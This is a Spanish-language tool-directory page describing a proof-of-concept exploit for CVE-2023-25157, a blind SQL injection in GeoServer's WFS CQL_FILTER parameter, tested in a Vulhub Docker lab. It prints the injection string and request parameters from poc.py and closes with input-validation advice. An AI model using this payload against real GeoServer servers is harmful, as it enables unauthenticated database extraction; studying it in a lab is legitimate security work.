Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
geoserver-CVE-2023-25157 — Exploit de prueba de concepto para CVE-2023-25157, una vulnerabilidad de inyección SQL ciega en el parámetro CQL_FILTER de WFS de GeoServer, que permite la extracción de datos sin autenticación. | Kitploit
Herramientas/GitHubGitHub/custiya/geoserver-cve-2023-25157
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebRecopilación de InformaciónPruebas de Penetración
GitHubcustiya/geoserver-cve-2023-25157

geoserver-CVE-2023-25157

Exploit de prueba de concepto para CVE-2023-25157, una vulnerabilidad de inyección SQL ciega en el parámetro CQL_FILTER de WFS de GeoServer, que permite la extracción de datos sin autenticación.

Ver Repositorio
hace 1 añoAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

geoserver CVE-2023-25157

White Hat 3rd [30th group] Kim Jeongwoo


Enlace de GitHub - https://github.com/custiya/geoserver-CVE-2023-25157

Resumen de la vulnerabilidad

  • CVE-2023-25157 es una vulnerabilidad SQLi que afecta a GeoServer, una aplicación web de servicio de datos cartográficos de código abierto.
  • Ocurre en algunas versiones de GeoServer 2.22.0 e inferiores.
  • El parámetro CQL_FILTER en las solicitudes WFS (Web Feature Service) es vulnerable.
  • Cualquier persona con acceso a la API sin autenticación puede explotarla.

Configuración del entorno

  • Ejecute el comando docker compose up -d para iniciar el entorno de prueba.
  • Acceda a la página en http://your-ip:8080/geoserver.
  • Primero debe encontrar un espacio de trabajo existente que incluya un almacén de datos PostGIS.
  • La instancia de GeoServer de Vulhub ya contiene un almacén de datos PostGIS.
    • Nombre del espacio de trabajo: vulhub
    • Nombre del almacén de datos: pg
    • Nombre de la tabla: example
    • Atributo utilizado: name

poc.py

  • Es una inyección SQL construida basada en lo descrito anteriormente.
  • La petición se envía al servidor usando el módulo requests.
  • strStartsWith(name,'x'') = true
    • Se agrega una comilla extra después de x para romper la sintaxis SQL.
  • and 1=(SELECT CAST ((SELECT version()) AS integer))
    • La función version() devuelve la versión actual de PostgreSQL (cadena de texto).
    • CAST(... AS integer) fuerza la conversión a entero, provocando un error.
    • El servidor devuelve un mensaje de error, lo que permite realizar pruebas de Inyección SQL Ciega.
root@kitploit:~
# URL de destino
url = "http://localhost:8080/geoserver/ows"

# Cadena de inyección original a insertar en CQL_FILTER (decodificada de URL)
cql_filter = "strStartsWith(name,'x'') = true and 1=(SELECT CAST ((SELECT version()) AS integer)) -- ') = true"

# Parámetros
params = {
    "service": "wfs",
    "version": "1.0.0",
    "request": "GetFeature",
    "typeName": "vulhub:example",
    "CQL_FILTER": cql_filter
}

Resultado

Alt text

Conclusión

  • Este PoC permite determinar la presencia de SQLi. Un atacante podría recopilar información del sistema mediante consultas SQL.
  • Para prevenir este ataque, se debe agregar validación de entrada del usuario. Además, las sentencias SQL recibidas no deben ejecutarse directamente, sino almacenarse por separado y utilizarse de forma segura.
Descargar herramienta